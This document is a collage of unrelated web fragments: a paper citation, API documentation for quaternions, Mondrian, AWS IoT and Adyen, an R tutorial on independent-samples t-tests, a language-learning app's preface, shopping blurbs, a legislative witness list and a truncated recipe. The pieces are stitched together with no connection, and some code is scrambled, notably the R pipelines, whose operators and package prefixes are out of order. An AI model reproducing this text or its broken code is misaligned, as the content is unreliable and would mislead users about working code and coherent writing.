| Src Url | [[Kotovenko]], [[Sanakoyeu]], [[Lang]], [[Ommer]] (2019) | |
undefined
Citer:(Kotovenko et al., 2019)
FTag: Kotovenko-et-al-2019
APA7: Kotovenko, D., Sanakoyeu, A., Lang, S., & Ommer, B. (2019). Content and Style Disentanglement for Artistic Style Transfer. 4422–4431. https://openaccess.thecvf.com/content_ICCV_2019/html/Kotovenko_Content_and_Style_Disentanglement_for_Artistic_Style_Transfer_ICCV_2019_paper.html
Artists rarely paint in a single style throughout their career. More often they change styles or develop variations of it.


This project defines Mock implementations of the Owin Framework interfaces to allow developers to write unit tests. The mocks are configurable and reusable to enable testing of various scenarios in your code.


Python wrapper¶
We have developed a wrapper so that the code can be called from Python easily
and synthesize Stokes profiles using a simple interface.
The wrapper is installed by going to the runPy
directory and
typing
python setup.py build_ext --inplace
It will generate a pyhazel.so
file appropriate for your architecture, that
can be imported from Python. The test.py
file shows how to call the
wrapper to synthesize the Stokes profiles. In the following we describe the
inputs:
Args: (see the manual for the meaning of all of them)
synModeInput: (int) synthesis mode
nSlabsInput: (int) number of slabs
B1Input: (float) vector of size 3 with the magnetic field vector in spherical coordinates for the first component
B2Input: (float) vector of size 3 with the magnetic field vector in spherical coordinates for the second component
hInput: (float) height
tau1Input: (float) optical depth of the first component
tau2Input: (float) optical depth of the second component
boundaryInput: (float) vector of size 4 with the boundary condition for (I,Q,U,V)
transInput: (int) transition to compute from the model atom
atomicPolInput: (int) include or not atomic polarization
anglesInput: (float) vector of size 3 describing the LOS
lambdaAxisInput: (float) vector of size 2 defining the left and right limits of the wavelength axis
nLambdaInput: (int) number of wavelength points
dopplerWidth1Input: (float) Doppler width of the first component
dopplerWidth2Input: (float) Doppler width of the second component
dampingInput: (float) damping
dopplerVelocityInput: (float) bulk velocity affecting the first component
dopplerVelocity2Input: (float) bulk velocity affecting the second component
ffInput: (float) filling factor
betaInput: (float) enhancement factor for the source function of component 1 to allow for emission lines in the disk
beta2Input: (float) enhancement factor for the source function of component 2 to allow for emission lines in the disk
nbarInput: (float) vector of size 4 to define nbar for every transition of the model atom (set them to zero to use Allen's)
omegaInput: (float) vector of size 4 to define omega for every transition of the model atom (set them to zero to use Allen's)
normalization: (int) normalization of the output Stokes parameters (0-> I_max, 1-> I_peak)
Returns:
wavelengthOutput: (float) vector of size nLambdaInput with the wavelength axis
stokesOutput: (float) array of size (4,nLambdaInput) with the emergent Stokes profiles
epsOutput: (float) array of size (4,nLambdaInput) with the emissivity vector at each wavelength
etaOutput: (float) array of size (4,4,nLambdaInput) with the propagation matrix at each wavelength
"""


Creates a new Quaternion. Accepts any arguments that RS.Quaternion#set accepts.
| Name | Type | Description |
|---|---|---|
initial |
RS.Quaternion | RS.Euler | RS.Math.Matrix4x4 | Array | Object | Number |
optional
initial value. |
Members
-
The w component of the quaternion.
-
The x component of the quaternion.
-
The y component of the quaternion.
-
The z component of the quaternion.
Methods
-
Multiplies quaternions where the quaternions are represented by flat arrays of numbers rather than the RS.Quaternion class.
Name Type Description target
Array Target array to store result.
target_offset
Number Offset into
target
to store result at.src0
Array Source array for the left hand quaternion.
src_offset0
Number Offset into
src0
to read quaternion from.src1
Array Source array for the right hand quaternion.
src_offset1
Number Offset into
src1
to read quaternion from. -
Spherically interpolates
start
toend
byt
storing the result intarget
Name Type Description start
RS.Quaternion The starting quaternion (where
t
is 0).end
RS.Quaternion The end quaternion (where
t
is 1).target
RS.Quaternion Target quaternion to store result in.
t
Number interploation factor in range
[0, 1]
-
Spherical interpolates quaternions where the quaternions are represented by flat arrays of numbers rather than the RS.Quaternion class.
Name Type Description target
Array Target array to store result.
target_offset
Number Offset into
target
to store result at.src0
Array Source array for the starting quaternion.
src_offset0
Number Offset into
src0
to read quaternion from.src1
Array Source array for the end quaternion.
src_offset1
Number Offset into
src1
to read quaternion from.t
Number interploation factor in range
[0, 1]
-
Returns the angle between this quaternion and quaternion
q
in radians.Name Type Description q
RS.Quaternion the quaternion to measure against.
Returns:
Type Description Number the angle between this
andq
in radians -
clone ()RS.Euler
-
Returns a copy of this quaternion.
Returns:
Type Description RS.Euler a copy of this
-
conjugate ()RS.Quaternion
-
Sets this quaternion to its rotational conjugate. The conjugate of a quaternion represents the same rotation in the opposite direction about the rotational axis.
Returns:
Type Description RS.Quaternion this
-
Calculates the dot product between
this
and the quaternionv
.Name Type Description v
RS.Quaternion the other quaternion.
Returns:
Type Description Number the dot product. -
Returns whether this euler is equal to another quaternion within an optional tolerance.
Name Type Description rhs
RS.Euler the euler to compare to.
tolerance
Number optional if provided then this level of tolerance is used, otherwise uses an exact match.
Returns:
Type Description Boolean true
if equal,false
if not. -
Returns whether this quaternion is equal to another quaternion within a tolerance.
Name Type Description rhs
RS.Quaternion the quaternion to compare to.
tolerance
Number optional if provided then this level of tolerance is used, otherwise tolerance is
10e-5
.Returns:
Type Description Boolean true
if equal,false
if not. -
identity ()RS.Quaternion
-
Sets this quaternion to the identity quaternion.
Returns:
Type Description RS.Quaternion this
-
invert ()RS.Quaternion
-
Inverts this quaternion
Returns:
Type Description RS.Quaternion this
-
Calculates the length of this quaternion.
Returns:
Type Description Number the length. -
Calculates the squared length of this quaternion.
Returns:
Type Description Number the squared length. -
multiply (rhs)RS.Quaternion
-
Multiplies this quaternion with
rhs
. IE:this = this x rhs
.Name Type Description rhs
RS.Quaternion the right hand quaternion.
Returns:
Type Description RS.Quaternion this
-
multiply_quaternions (lhs, rhs)RS.Quaternion
-
Sets this quaternion to
lhs
xrhs
.Name Type Description lhs
RS.Quaternion the left hand quaternion.
rhs
RS.Quaternion the right hand quaternion.
Returns:
Type Description RS.Quaternion this
-
normalize ()RS.Quaternion
-
Normalizes this quaternion to unit length.
Returns:
Type Description RS.Quaternion this
-
premultiply (lhs)RS.Quaternion
-
Premultiplies this quaternion with
lhs
. IE:this = lhs x this
.Name Type Description lhs
RS.Quaternion the left hand quaternion.
Returns:
Type Description RS.Quaternion this
-
rotate_towards (q, step)RS.Quaternion
-
Rotates this quaternion by a given angular amount towards the quaternion
q
. The method ensures that the final quaternion will not overshootq
.Name Type Description q
RS.Quaternion the quaternion to rotate towards.
step
Number the amount to rotate by in radians.
Returns:
Type Description RS.Quaternion this
-
Rotates the provided vector by this quaternion. Equivalent to
Vector3.multiply(q.to_matrix())
but will be faster. The vector is modified.Name Type Description vec
RS.Math.Vector3 the vector to rotate.
Returns:
Type Description RS.Math.Vector3 the rotated vector. -
set (source)RS.Quaternion
-
Sets this quaternion. The source may be of the following types:
- RS.Quaternion
- RS.Euler
- RS.Math.Matrix4x4
- an
Array
with 4 or more members - an
Object
. - individual arguments for
x
,y
,z
andw
If the source is
RS.Math.Matrix4x4
then it is expected to have no scaling factors. The matrix is expected to be a forward transformation, IE: an object to world space matrix.In the case of an object being supplied it should have the members
x
,y
,z
andw
. Parsing failures onx
,y
orz
will set them to0
, failures onw
will set it to1
.Name Type Description source
RS.Quaternion | RS.Euler | RS.Math.Matrix4x4 | Array | Object | Number the object to set from or a set of numbers.
Returns:
Type Description RS.Quaternion this
Example
const v = new RS.Quaternion(); v.set(1,2,0,1); v.set([0.2,-0.3,-.5,-0.2]); v.set({x: 0.1, y: 0.53,z: -0.3, w:1});
-
set_from_unit_vectors (from, to)RS.Quaternion
-
Sets this quaternion to the rotation required to rotate direction vector
from
to direction vectorto
.Name Type Description from
RS.Math.Vector3 the from vector, assumed to be normalized.
to
RS.Math.Vector3 the to vector, assumed to be normalized.
Returns:
Type Description RS.Quaternion this
-
set_rotation_around_axis (axis, angle)RS.Quaternion
-
Sets this quaternion to the rotation about the given axis by the given angle in radians.
Name Type Description axis
RS.Math.Vector3 the axis to rotate around.
angle
Number the amount to rotate by in radians.
Returns:
Type Description RS.Quaternion this
-
slerp (end, t)RS.Quaternion
-
Handles spherical linear interpolation between quaternions.
t
represents the amount of rotation between this quaternion (wheret
is 0) andend
(where t is 1). This quaternion is set to the result. Also see the static version ofslerp
.Name Type Description end
RS.Quaternion the quaternion to interpolate to.
t
RS.Quaternion interpolation factor in the closed interval
[0, 1]
.Returns:
Type Description RS.Quaternion this
-
Returns a matrix representing this quaternion. This will be a forward transformation, IE: an object to world space matrix. The matrix can be passed to
RS.Math.Vector3.rotate
to rotate a vector by this quaternion.Returns:
Type Description RS.Math.Matrix4x4 the rotation matrix.


details
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CSS has properties for specifying the margin for each side of an element: margin-top margin-right margin-bottom margin-left All the margin properties can have the following values: auto - the browser calculates the margin length - specifies a margin in px, pt, cm, etc. % - specifies a margin in % of the width of the containing element inherit - specifies that the margin should be inherited from the parent element Tip: Negative values are allowed.


THIS IS A THIRD PARTY VERSION - IT DIFFERS IN MANY RESPECTS FROM THE OFFICIAL LWT VERSION! See the new features for more information.
Preface by lang-learn-guy (original author)
- I started this software application in 2010 as a hobby project for my personal learning (reading & listening to foreign texts, saving & reviewing new words and expressions).
- In June 2011, I decided to publish the software in the hope that it will be useful to other language learners around the world.
- The software is 100 % free, open source, and in the public domain. You may do with it what you like: use it, improve it, change it, publish an improved version, even use it within a commercial product.
- English is not my mother tongue - so please forgive me any mistakes.
- A piece of software will be never completely free of "bugs" - please inform me of any problem you will encounter. Your feedback and ideas are always welcome.
- My programming style is quite chaotic, and my software is mostly undocumented. This will annoy people with much better programming habits than mine, but please bear in mind that LWT is a one-man hobby project and completely free.
- Thank you for your attention. I hope you will enjoy this application as I do every day.
Contributions by HugoFara (GitHub version maintainer)
I started using LWT in 2021, and continued its development almost instantly. I felt that the core idea was very good, but its implementation seemed unnadapted, and the code was quite obfuscated. While I do not have any official responsibility to LWT (we don't have any kind of official agreement with lang-learn-guy), I am the the de facto maintainer of the community version. I dedicated myself to the following points (see the GitHub post):
- Make LWT Open Source: document and refactor code
- Meet the HTML5 standards: the interface was relying on deprecated systmes like frames, making it difficult to use on small screens.
- Simplify users' lives: avoid complex installation or procedures whenever possible.
If you spot any problem, please post any issue on GitHub, and we will look at it.
While work is not yet finished, I also aim to expand LWT:
- Better UI: custom themes and better default appearance
- Better UX: as of today (2022), 60 % of the web is done through mobile devices. It means less content at once and more intuitive behaviors.
- Sounds: language learning is not just language reading.
- Text-to-speech features.
- Motivational sounds when testing terms to makes things more lively.
But there is much more! The community version of LWT is no longer the feat of one man, it belongs to everyone. As such, it gets well easier to implement new features, discuss and exchange code and ideas. I don't know if LWT contains your killer feature, but I can say that it can be implemented with this version. Enjoy!


{% load static %}
Collabify
for
Home
Follow the instructions by the professor and enter the code below.
Enter the code:
Submit


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File: ../src/away/animators/IAnimationSet.ts
///<reference path="../_definitions.ts"/> module away.animators { /** * Provides an interface for data set classes that hold animation data for use in animator classes. * * @see away3d.animators.IAnimator */ export interface IAnimationSet { /** * Check to determine whether a state is registered in the animation set under the given name. * * @param stateName The name of the animation state object to be checked. */ hasAnimation(name:string):boolean; /** * Retrieves the animation state object registered in the animation data set under the given name. * * @param stateName The name of the animation state object to be retrieved. */ getAnimation(name:string):away.animators.AnimationNodeBase; /** * Indicates whether the properties of the animation data contained within the set combined with * the vertex registers aslready in use on shading materials allows the animation data to utilise * GPU calls. */ usesCPU:boolean; // GET /** * Called by the material to reset the GPU indicator before testing whether register space in the shader * is available for running GPU-based animation code. * * @private */ resetGPUCompatibility(); /** * Called by the animator to void the GPU indicator when register space in the shader * is no longer available for running GPU-based animation code. * * @private */ cancelGPUCompatibility(); /** * Generates the AGAL Vertex code for the animation, tailored to the material pass's requirements. * * @param pass The MaterialPassBase object to whose vertex code the animation's code will be prepended. * @sourceRegisters The animatable attribute registers of the material pass. * @targetRegisters The animatable target registers of the material pass. * @return The AGAL Vertex code that animates the vertex data. * * @private */ getAGALVertexCode(pass:away.materials.MaterialPassBase, sourceRegisters:string[], targetRegisters:string[], profile:string):string; /** * Generates the AGAL Fragment code for the animation, tailored to the material pass's requirements. * * @param pass The MaterialPassBase object to whose vertex code the animation's code will be prepended. * @return The AGAL Vertex code that animates the vertex data. * * @private */ getAGALFragmentCode(pass:away.materials.MaterialPassBase, shadedTarget:string, profile:string):string; /** * Generates the extra AGAL Fragment code for the animation when UVs are required, tailored to the material pass's requirements. * * @param pass The MaterialPassBase object to whose vertex code the animation's code will be prepended. * @param UVSource String representing the UV source register. * @param UVTarget String representing the UV target register. * @return The AGAL UV code that animates the UV data. * * @private */ getAGALUVCode(pass:away.materials.MaterialPassBase, UVSource:string, UVTarget:string):string; /** * Resets any constants used in the creation of AGAL for the vertex and fragment shaders. * * @param pass The material pass currently being used to render the geometry. * * @private */ doneAGALCode(pass:away.materials.MaterialPassBase); /** * Sets the GPU render state required by the animation that is independent of the rendered mesh. * * @param stage3DProxy The proxy currently performing the rendering. * @param pass The material pass currently being used to render the geometry. * * @private */ activate(stage3DProxy:away.managers.Stage3DProxy, pass:away.materials.MaterialPassBase) /** * Clears the GPU render state that has been set by the current animation. * * @param stage3DProxy The proxy currently performing the rendering. * @param pass The material pass currently being used to render the geometry. * * @private */ deactivate(tage3DProxy:away.managers.Stage3DProxy, pass:away.materials.MaterialPassBase) } }


4 t TEST FOR THE DIFFERENCE IN 2 MEANS, INDEPENDENT SAMPLES
Using the t.test()
function
library(car) # Companion for Applied Regression (and ANOVA)
4.1 Exploratory Data Analysis: i.e. the eyeball method
Do the two groups, treatment and control, have different oral conditions at initial observation? What about four weeks later?
Judge any difference in centers (means) within the context of the within group spread (stadard deviation/variance)
4.1.1 Means and SDs
%>%
cancer_clean ::group_by(trt) %>%
dplyr::table1(totalcin, totalcw4,
furniturena.rm = FALSE)
────────────────────────────────
trt
Placebo Aloe Juice
n = 14 n = 11
totalcin
6.6 (0.9) 6.5 (2.1)
totalcw4
10.1 (3.6) 10.6 (3.5)
────────────────────────────────
4.2 Assumptions
4.2.1 1. Independence
BOTH Samples were drawn INDEPENDENTLY at random (at least as representative as possible)
- Nothing can be done to fix NON-representative samples!
- Can not for with any statistically test
- If idenpendence is violated, you may want to use a paired-samples t-test
4.2.2 2. Normality
A variable is said to follow the normal distribution if it resembles the normal curve. Specifically it is symetrical, unimodal, and bell shaped.
The continuous variable has a NORMAL distribution in BOTH populations
- Not as important if the sample is large (Central Limit Theorem)
- IF the sample is far from normal &/or small, might want to use a different method
Options to judging normality:
- Visualization of each sample’s distribution
- Stacked histograms, but is sensitive to binning choices (number or width)
- Side-by-side boxplots, shows median instead of mean as central line
- Seperate QQ plots (straight \(45^\circ\) line), but is sensitive to outliers!
- Calculate Skewness and Kurtosis, within each group
- Divided each value by its standard error (SE)
- A result \(\gt \pm 2\) indicates issues
- Divided each value by its standard error (SE)
- Formal Inferencial Tests for Normality, on each group
- Null-hypothesis: population is normally distributed
- A \(p \lt .05\) ???indicate snon-normality
- For smaller samples, use Shapiro-Wilk’s Test
- For larger samples, use Kolmogorov-Smirnov’s Test
<IP_ADDRESS> Baseline Oral Condition
%>%
cancer_clean ggplot(aes(sample = totalcin)) + # make sure to include "sample = "
geom_qq() + # layer on the dots
stat_qq_line() + # layer on the line
facet_grid(. ~ trt) # panel by group
%>%
cancer_clean ::filter(trt == "Placebo") %>% # select one group
dplyr::pull(totalcin) %>% # extract the continuous variable
dplyrshapiro.test() # test for normality
Shapiro-Wilk normality test
data: .
W = 0.6807, p-value = 0.0002349
%>%
cancer_clean ::filter(trt == "Aloe Juice") %>% # select one group
dplyr::pull(totalcin) %>% # extract the continuous variable
dplyrshapiro.test() # test for normality
Shapiro-Wilk normality test
data: .
W = 0.78534, p-value = 0.006034
Shapiro-Wilk’s tests yield evidence that baseline oral condition is NOT normally distributed in the placebo group, W = .681, p <.001, nor the treatment group, W = .785, p = .006. Visual inspection suggests that violatioins may by more extreme in the placebo group.
<IP_ADDRESS> Four Weeks Oral Condition
%>%
cancer_clean ggplot(aes(sample = totalcw4)) + # make sure to include "sample = "
geom_qq() + # layer on the dots
stat_qq_line() + # layer on the line
facet_grid(. ~ trt) # panel by group
%>%
cancer_clean ::filter(trt == "Placebo") %>% # select one group
dplyr::pull(totalcw4) %>% # extract the continuous variable
dplyrshapiro.test() # test for normality
Shapiro-Wilk normality test
data: .
W = 0.88272, p-value = 0.06356
%>%
cancer_clean ::filter(trt == "Aloe Juice") %>% # select one group
dplyr::pull(totalcw4) %>% # extract the continuous variable
dplyrshapiro.test() # test for normality
Shapiro-Wilk normality test
data: .
W = 0.92906, p-value = 0.4014
Shapiro-Wilk’s tests yielded no evidence that oral condition is NOT normally distributed four weeks after baseline in the placebo group, \(W = .883, p = .064\), and the treatment group, \(W = .929, p = .401\).
4.2.3 2. HOV
Two Populations exhibit Homogeneity of Variance (HOV), i.e. have about the same amount of spread
Before performing the \(t\) test, check to see if the assumption of homogeneity of variance is met using Levene’s Test. For a independent samples t
-test for means, the groups need to have the same amount of spread (SD) in the measure of interest.
Use the car:leveneTest()
function tests the HOV
assumtion.
Inside the funtion you need to specify at least three options (sepearated by commas):
-
the formula:
continuous_var ~ grouping_var
(replace with your variable names) -
the dataset:
data = .
to pipe it from above -
the center:
center = “mean”
since we are comparing means
<IP_ADDRESS> Baseline Oral Condition
Do the participants in the treatment and control groups have the same spread in oral condition at BASELINE?
%>%
cancer_clean ::leveneTest(totalcin ~ trt, # formula: continuous_var ~ grouping_var
cardata = ., # pipe in the dataset
center = "mean") # The default is "median"
Levene's Test for Homogeneity of Variance (center = "mean")
Df F value Pr(>F)
group 1 2.2103 0.1507
23
No violations of homogeneity were detected, \(F(1, 23) = 2.210, p = .151\).
<IP_ADDRESS> Four Weeks Oral Condition
Do the participants in the treatment and control groups have the same spread in oral condition at the FOURTH WEEK?
%>%
cancer_clean ::leveneTest(totalcw4 ~ trt, # formula: continuous_var ~ grouping_var
cardata = ., # pipe in the dataset
center = "mean") # The default is "median"
Levene's Test for Homogeneity of Variance (center = "mean")
Df F value Pr(>F)
group 1 0 0.995
23
No violations of homogeneity were detected, \(F(1, 23) = 0, p = .995\).
4.3 Inference
Formal Statistical Test: t-Test for Difference in Independent Group Means
Use the same t.test()
funtion we have used for a single
sample, but speficy a few more options.
Inside the funtion you need to specify at least three options (sepearated by commas):
-
the formula:
continuous_var ~ grouping_var
(replace with your variable names)
-
the dataset:
data = .
to pipe it from above
You MAY need/want to specify some or all of the following options you may way to leave as the default or override:
-
HOV assumed:
-
var.equal = FALSE
Default Seperate-Variance test using Welch’s df
-
var.equal = TRUE
Pooled-Variance test (if HOV is NOT violated)
-
-
Number of tails:
-
alternative = “two.sided”
Default Allows for a 2-sided alternative -
alternative = “less”
Only Allows: group 1 < group 2 -
alternative = “more”
Only Allows: group 1 > group 2
-
-
Independent vs. paired:
-
paired = FALSE
Default Conducts an INDEOENDENT groups t-Test
-
paired = TRUE
Conducts a PAIRED meausres t-Test
-
-
Confidence level:
-
conf.level = 0.95
Default Computes the 95% confidence inverval
-
conf.level = 0.90
Changes to a 90% confidence interval
-
4.3.1 Pooled Variance Test
Use when there are no violations of HOV
<IP_ADDRESS> Baseline Oral Condition
Do the participants in the treatment group have a different average oral condition at BASELINE, compared to the control group?
# Minimal syntax
%>%
cancer_clean t.test(totalcin ~ trt, # formula: continuous_var ~ grouping_var
data = ., # pipe in the dataset
var.equal = TRUE) # HOV was violated (option = TRUE)
Two Sample t-test
data: totalcin by trt
t = 0.18566, df = 23, p-value = 0.8543
alternative hypothesis: true difference in means between group Placebo and group Aloe Juice is not equal to 0
95 percent confidence interval:
-1.185479 1.419245
sample estimates:
mean in group Placebo mean in group Aloe Juice
6.571429 6.454545
No evidence of a differnece in mean oral condition at baseline, \(t(23) = 0.186, p = .854\). Note: this test may be unreliable due to the non-normality of the samll samples.
<IP_ADDRESS> Four Weeks Oral Condition
Do the participants in the treatment group have a different average oral condition at the FOURTH WEEK, compared to the control group?
# Fully specified function
%>%
cancer_clean t.test(totalcw4 ~ trt, # formula: continuous_var ~ grouping_var
data = ., # pipe in the dataset
var.equal = TRUE, # default: HOV was violated (option = TRUE)
alternative = "two.sided", # default: 2 sided (options = "less", "greater")
paired = FALSE, # default: independent (option = TRUE)
conf.level = .95) # default: 95% (option = .9, .90, ect.)
Two Sample t-test
data: totalcw4 by trt
t = -0.34598, df = 23, p-value = 0.7325
alternative hypothesis: true difference in means between group Placebo and group Aloe Juice is not equal to 0
95 percent confidence interval:
-3.444215 2.457202
sample estimates:
mean in group Placebo mean in group Aloe Juice
10.14286 10.63636
No evidence of a differnece in mean oral condition at the fourth week, \(t(23) = -0.350, p = .733\).


Goods 'n Stuff
Ron's Custom Canoe
$
327
Ron will hand-craft a canoe built to your specifications with only the finest wood.


You can define variables to inject into the script by using a property-like format.
For example, the following text:
BRANCH = 1.0 BUILD = ${VERSION}
would inject the corresponding BRANCH
and BUILD
variables in the script:
ontrack.branch('PRJ', BRANCH).build(VERSION, "Build ${VERSION}")
In the text:
name = value
syntax#
are ignored${VAR}
are expanded using VAR
from the current
environment variables.


WITNESS LIST Business & Industry Committee January 23, 2004-10:00A Workers' Compensation On: Czewski, DO, Jim W. (TX Osteopathic Medical Association) Decabooter, William (TWCC) Gonzalez, David (TX Pharmacy Association) Hatchman, Mike (TWCC) Kidd, Barbara (Self and Fix Twcc) Klein, Dr. Franz (TX Chiropractic Association) Marks, Justin (National conference State Legislatures) Nemeth, William (TWCC) Presley, Philip (TDI) Reynolds, Richard F. (TWCC) Rick, Levy (TX AFL/CIO) Saxon, Lucinda (TX Association Business) Schade, MD, PhD, C.M. (Fix TWCC) Shipe, Robert (TWCC) Swift, Jr., Bernard T. (TX Medical Association) Woods, Joe (Property Casualty Insurers Association of America)


Please, enter your credentials
Name
Email
Password
Description
To create text input field you need to add input tag with type "text".


public interface DialectFactory
Dialect
objects.
If you create a class that implements Dialect
, you may optionally
provide a factory by creating a constant field in that class. For
example:
public class MyDialect implements Dialect { public static final DialectFactory FACTORY = new JdbcDialectFactory(MyDialect.class, null); public MyDialect(Connection connection) { ... } ... }
(The field must be public, static, final, named "FACTORY", of type
DialectFactory
or a subclass, and its value must not be
null.)
Explicitly providing a factory gives you more control about how dialects are produced.
If you do not provide such a field, Mondrian requires that the dialect has
a public constructor that takes a Connection
as a parameter,
and automatically creates a factory that calls the class's public
constructor.
However, an explicit DialectFactory is superior:
null
, whereas a dialect's constructor can only throw an
exception.
If your dialect is a subclass of JdbcDialectImpl
you may wish to use a dialect factory that is a subclass of
JdbcDialectFactory
.
| Modifier and Type | Method and Description |
|---|---|
Dialect |
createDialect(DataSource dataSource,
Connection connection)
Creates a Dialect.
|
Dialect createDialect(DataSource dataSource, Connection connection)
If the dialect cannot handle this connection, returns null.
dataSource
- JDBC data sourceconnection
- JDBC connectionRuntimeException
- if underlying systems give an error


Class: Aws::IoT::Types::CreateTopicRuleRequest
| Relationships & Source Files | |
| Super Chains via Extension / Inclusion / Inheritance | |
|
Class Chain:
self,
Struct
|
|
|
Instance Chain:
self,
Struct
|
|
| Inherits: |
Struct
|
| Defined in: | (unknown) |
Overview
Note:
When passing CreateTopicRuleRequest as input to an Aws::Client method, you can use a vanilla Hash:
{
rule_name: "RuleName", # required
topic_rule_payload: { # required
sql: "SQL", # required
description: "Description",
actions: [ # required
{
dynamo_db: {
table_name: "TableName", # required
role_arn: "AwsArn", # required
operation: "DynamoOperation",
hash_key_field: "HashKeyField", # required
hash_key_value: "HashKeyValue", # required
hash_key_type: "STRING", # accepts STRING, NUMBER
range_key_field: "RangeKeyField",
range_key_value: "RangeKeyValue",
range_key_type: "STRING", # accepts STRING, NUMBER
payload_field: "PayloadField",
},
dynamo_d_bv_2: {
role_arn: "AwsArn",
put_item: {
table_name: "TableName", # required
},
},
lambda: {
function_arn: "FunctionArn", # required
},
sns: {
target_arn: "AwsArn", # required
role_arn: "AwsArn", # required
message_format: "RAW", # accepts RAW, JSON
},
sqs: {
role_arn: "AwsArn", # required
queue_url: "QueueUrl", # required
use_base_64: false,
},
kinesis: {
role_arn: "AwsArn", # required
stream_name: "StreamName", # required
partition_key: "PartitionKey",
},
republish: {
role_arn: "AwsArn", # required
topic: "TopicPattern", # required
},
s3: {
role_arn: "AwsArn", # required
bucket_name: "BucketName", # required
key: "Key", # required
canned_acl: "private", # accepts private, public-read, public-read-write, aws-exec-read, authenticated-read, bucket-owner-read, bucket-owner-full-control, log-delivery-write
},
firehose: {
role_arn: "AwsArn", # required
delivery_stream_name: "DeliveryStreamName", # required
separator: "FirehoseSeparator",
},
cloudwatch_metric: {
role_arn: "AwsArn", # required
metric_namespace: "MetricNamespace", # required
metric_name: "MetricName", # required
metric_value: "MetricValue", # required
metric_unit: "MetricUnit", # required
metric_timestamp: "MetricTimestamp",
},
cloudwatch_alarm: {
role_arn: "AwsArn", # required
alarm_name: "AlarmName", # required
state_reason: "StateReason", # required
state_value: "StateValue", # required
},
elasticsearch: {
role_arn: "AwsArn", # required
endpoint: "ElasticsearchEndpoint", # required
index: "ElasticsearchIndex", # required
type: "ElasticsearchType", # required
id: "ElasticsearchId", # required
},
},
],
rule_disabled: false,
aws_iot_sql_version: "AwsIotSqlVersion",
},
}
The input for the CreateTopicRule operation.
Instance Attribute Summary
-
#rule_name ⇒ String
rw
The name of the rule.
. -
#topic_rule_payload ⇒ Types::TopicRulePayload
rw
The rule payload.
.
Instance Attribute Details
#rule_name ⇒ String
(rw)
The name of the rule.
#topic_rule_payload ⇒ Types::TopicRulePayload (rw)
The rule payload.


Adyen API Library for ruby
Checkout is authenticated via api-key:
adyen.api_key = "AP5XXXXXXXXX"
Checkout SDK is a javascript library which loads an Adyen-hosted iframe into your website. Once loaded, it communicates directly with Adyen, abstracting away all server communication and lowering your PCI compliance load.
The front-end is described here
To perform the initial paymentSession call to Adyen, call its method as below:
response = adyen.checkout.paymentSession('{
"amount": {
"value": 1500,
"currency": "EUR"
},
"countryCode": "US",
"origin": "www.example.com",
"returnUrl": "www.example.com",
"reference": "Merchant Reference",
"merchantAccount": "TestMerchant"
}')
Then send the response to the client-side javascript library to initialize the SDK.
Raw payment method details can be sent directly to Adyen through the Checkout API. For instance, to send raw credit card data you could use a request like the below:
response = adyen.checkout.payments('{
"card": {
"number": "4111111111111111",
"expiryMonth": "8",
"expiryYear": "2018",
"cvc": "737",
"holderName": "John Smith"
},
"amount": {
"value": 1500,
"currency": "EUR"
},
"reference": "YOUR_REFERENCE",
"merchantAccount": "YOUR_MERCHANT_ACCOUNT"
}')
You can also get a list of payment methods which are available for a given transaction to display a page with custom styling to your shoppers:
response = adyen.checkout.payment_methods('{
"merchantAccount": "YOUR_MERCHANT_ACCOUNT"
}')
A successful call to payment_methods will return a list of supported payment methods along with redirect URL's so that you can send your shoppers directly to the issuer's site without losing control of front-end styling / logic.
You can also create a link to Adyen's hosted payment form:response = adyen.checkout.payment_links('{
"amount": {
"value": 1500,
"currency": "EUR"
},
"countryCode": "US",
"merchantAccount": "YOUR_MERCHANT_ACCOUNT",
"reference": "YOUR_REFERENCE"
}')
A successful call to payment_links will return a url, which directs a user to Adyen's hosted payment form.


The 20 Best Gifts for The Mandalorian-Watching, Lightsaber-Toting Star Wars Fans
by Popular MechanicsThose who love the original trilogy and those who love the new one will both find something in this selection.
Those who love the original trilogy and those who love the new one will both find something in this selection.


This check validates required labels on Pods.
- Why is this a problem?
-
Each Pod should have a
ccloud/support-group
label containing the name of the support group
that is responsible for it. Optionally, the ccloud/service
label can be added to further route alerts
within the support group. These labels will be used for routing generic pod alerts.
Please refer to the operations documentation
for more details on the labels that drive our support process.
- How to fix?
-
Add the missing labels, as reported. Usually you do not have to maintain labels on individual pod specs. They will
be added automatically if you have owner-info
defined on the level of the Helm chart.
- I have added owner-info, but my deployments are still reported here. What's going on?
-
For pods that are managed by a deployment/daemonset/statefulset/job, this check expects labels on the PodSpec.
(We do not check every individual pod because the large number of violations would overwhelm the audit process.)
However, for existing deployments etc., we avoid unintentional pod restarts by not changing the PodSpec unless the
deployment is actively changed. To force an update of the labels in the PodSpec, run
kubectl label $KIND/$NAME
ccloud/support-group-
on the object containing the PodSpec. Note that this will do a rolling restart of all
pods. For example:
kubectl label deployment/nginx ccloud/support-group-


The Nordstrom Sale is Here, Meaning Dior Sunnies are 40% Off
by Justine CarreonWhether you're working through your holiday shopping list or splurging on yourself, Nordstrom's fall sale has something for everyone. So far, we clocked a pair of rain-ready Hunter boots at forty percent off, a peacoat with over 2,000 glowing reviews, and Dior sunglasses worthy of 2001-era Paris Hilton. Click through for our edit of the best the Nordstrom sale has to offer, ahead.


CloudFront Co-Pilot Dashboard
Clustered Video Stream Name
Access Key ID
Secret Access Key
Region to Connect
Start
Stop
Status and Control


H_art the band is a very artistic, talented, and inspirational music band of three. Their art in dress code, lyrical content, delivery and stage presence is what caught my attention. Those who have attended H_art the Band shows will agree with me that this is a unique talent which is supposed to be adored and celebrated, a reason why it's my favorite band.


Seared Salmon with Braised Broccoli
Ingredients
1 1/4 pounds wild Alaskan salmon fillet, skinned (see Tip) and cut into 4 portions1 tablespoon chopped fresh rosemary or 1 teaspoon dried, divided
1 teaspoon salt, divided
2 heads broccoli (1-1 1/2 pounds), trimmed
1 1/2 tablespoons extra-virgin olive oil, divided
1 small onion, diced
3 tablespoons raisins
2 tablespoons pine nuts
1/2 cup water
Method Preparation
